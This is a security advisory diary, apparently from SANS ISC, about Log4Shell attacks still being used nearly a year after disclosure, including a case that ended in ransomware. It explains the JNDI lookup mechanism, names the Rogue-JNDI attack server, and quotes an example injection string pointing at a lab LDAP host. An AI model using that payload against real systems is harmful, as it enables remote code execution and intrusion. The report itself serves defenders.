Last Updated: 2022-11-21 20:48:27 UTC
by Renato Marinho (Version: 1)
Almost one year later, Log4Shell attacks are still alive and making victims. Log4shell, as you may remember, was the name given to a remote code execution (RCE) vulnerability in the Apache Log4j Java library, first known on December 10th, 2021. Information on the zero-day (CVE-2021-44228) and malicious campaigns using it were covered here in SANS ISC in different diaries like here and here.
Log4Shell exploitation involves making a JNDI (Java Naming and Directory Interface) address reach the vulnerable Log4j library. Due to the vulnerability, Log4j will look up the JNDI address, which will usually host a malicious Java Class that will be downloaded and executed locally. The malicious Java Class may deploy a crypto miner, for example, or may start a reverse shell, which will allow the attacker to take control of the remote system.
From a historical perspective, immediately after the Log4Shell publication, we noticed many campaigns trying to exploit the vulnerability. But, as time passes, and the vulnerability was
exploited fixed on most of the vulnerable hosts, it is common for attackers to lose interest in it, which is exactly what happened to Log4Shell and reported by Johannes in the diary The Rise and Fall of log4shell.
The Nashorn Case
Although low, the case I dealt with last week shows that interest still exists. Threat actors continue scanning the network for remaining hosts, perhaps betting on situations where a defense (IPS) has stopped working or a host that “had not been patched because it was internal” has now been published. In either case, they found a vulnerable host, resulting in a big ransomware infection on the victim’s network.
The attacker’s backend was based on the project Rogue-JNDI (https://github.com/veracode-research/rogue-jndi). This project provides HTTP and LDAP servers for exploiting insecure/vulnerable Java JNDI API. In the Figure below, there is an example of how the server can be started.
On the victim’s end, depending on the exploited system, the attacker must make a call to the proper remote address. For example, to exploit a system based on Tomcat the address would be ‘jndi:ldap://192.168.1.10:1389/o=tomcat’.
Replaying the attack scenario in a lab, it is possible to see how the malicious class is serialized to be later loaded by the vulnerable Log4j library.